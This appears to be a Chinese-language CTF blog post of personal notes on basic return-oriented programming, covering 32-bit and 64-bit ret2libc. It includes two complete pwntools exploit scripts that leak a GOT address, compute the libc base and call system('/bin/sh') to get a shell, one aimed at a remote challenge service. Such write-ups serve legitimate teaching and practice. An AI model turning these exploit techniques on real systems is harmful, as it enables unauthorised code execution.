[TOC]
0. 前言 接触ctf一年有余,作为一名ctf老菜鸟,没写过一篇ctf相关博客,确实不该。
本文介绍pwn入门操作————基本ROP,主要用于自我笔记,不包含详细原理细节。
1. pwn入门 必备知识:
推荐书籍:
如果以上知识不牢固,相信我,你是根本pwn不动的。
2. 基本ROP ROP(Return Oriented Programming),属于栈溢出类型中的基本操作。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件: 1.程序存在溢出,并且可以控制返回地址。 2.可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
更多介绍参见ctf-wiki
ROP中包含各种操作,如:ret2text
、ret2shellcode
等等。此处只介绍ret2libc
————返回libc共享库,并执行system("/bin/sh")
。
2.1. 32位ret2libc 大致步骤如下:
发现溢出点,绕过代码中的关卡(可能没有)进行溢出。
通过溢出点,覆盖返回地址,执行write()
或puts()
函数。即将plt
表中的write\puts
函数地址,覆盖在返回地址处。还需将调用write\puts
函数后的返回地址,设置为漏洞函数地址,从而实现反复利用。
利用write\puts
函数,打印got
表中某个库函数运行在内存中的地址 (如:read()
函数)。即将got
表库函数作为write\puts
函数的参数。
通过某个libc库函数运行地址,推测出libc库版本(通过libc search网站 ,有些题目可能直接给出libc库)。然后,用该库函数的内存地址 - 该函数在libc库中的偏移地址 得到 libc库加载的内存地址。
得到libc库基地址后,便可以通过偏移得到system()
函数和\bin\sh
字符串的地址。
再次利用漏洞点,栈溢出执行system('\bin\sh')
,拿到权限。
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context.log_level = 'debug' elf = ELF('./babyrop' ) libc = ELF('./libc-2.23.so' ) r = remote('47.112.137.238' , '13337' ) puts_plt = elf.plt['puts' ] read_got = elf.got['read' ] ret_func_addr = 0x80487D0 test_str = 0x08048937 payload = '\x00' + '\xff' * 0x1f r.send(payload) payload = 'a' * 0xeb + p32(puts_plt) + p32(ret_func_addr) + p32(read_got) + p32(0xffffffff ) r.send(payload) r.recvuntil('Correct\n' ) read_addr = u32(r.recv()[:4 ]) print hex (read_addr)libc_base_addr = read_addr - libc.symbols['read' ] print 'libc: ' , hex (libc_base_addr)system_addr = libc_base_addr + libc.symbols['system' ] print hex (system_addr)binsh_addr = libc_base_addr + next (libc.search('/bin/sh' )) print hex (binsh_addr)payload = 'a' * 0xeb + p32(system_addr) + p32(ret_func_addr) + p32(binsh_addr) r.send(payload) r.interactive()
2.2. 64位ret2libc 64位不同于32位,因为64位通过寄存器传参,需要利用pop rdi;ret
等指令。因而,拼接payload时,调用32位函数参数在后,调用64位函数参数在前。
其它步骤大致相同。
示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *from LibcSearcher import LibcSearchercontext.log_level="debug" pwn_file='./Emachine' elf=ELF(pwn_file) r = process(pwn_file) def func (num64 ): ret = num64 for i in range (8 ): temp = 0xff << (8 *i) a = num64 & temp a = a >> (8 *i) if a>=54 and a<=63 : a = a ^ 0xf elif (a>=64 and a<=77 ) or a == 79 or a == 84 or (a>=86 and a<=95 ): a = a ^ 0xe elif (a>=96 and a<=109 ) or a == 111 or a == 116 or (a>=118 and a<=127 ): a = a ^ 0xD else : a = a a = a << (8 *i) ret = ret | a return ret puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] gets_plt = elf.plt['gets' ] pop_rdi = 0x400c83 payload = '1' * 0x58 + p64(func(pop_rdi)) + p64(puts_got) + p64(puts_plt) payload += p64(pop_rdi) + p64(puts_got) + p64(gets_plt) payload += p64(pop_rdi) + p64(puts_got + 8 ) + p64(gets_plt) payload += p64(pop_rdi) + p64(puts_got + 8 ) + p64(puts_plt) r.sendline('1' ) r.recvuntil('choice!\n' ) r.sendline(payload) r.recvuntil('\x83\x0c@\n' ) puts_addr = u64(r.recv(timeout=5 )[:6 ].ljust(8 , '\x00' )) log.success('puts() addr ---> ' + hex (puts_addr)) libc = LibcSearcher('puts' , puts_addr) libc_addr = puts_addr - libc.dump('puts' ) system_addr = libc_addr + libc.dump('system' ) r.sendline(p64(system_addr)) r.sendline('/bin/sh\x00' ) r.interactive()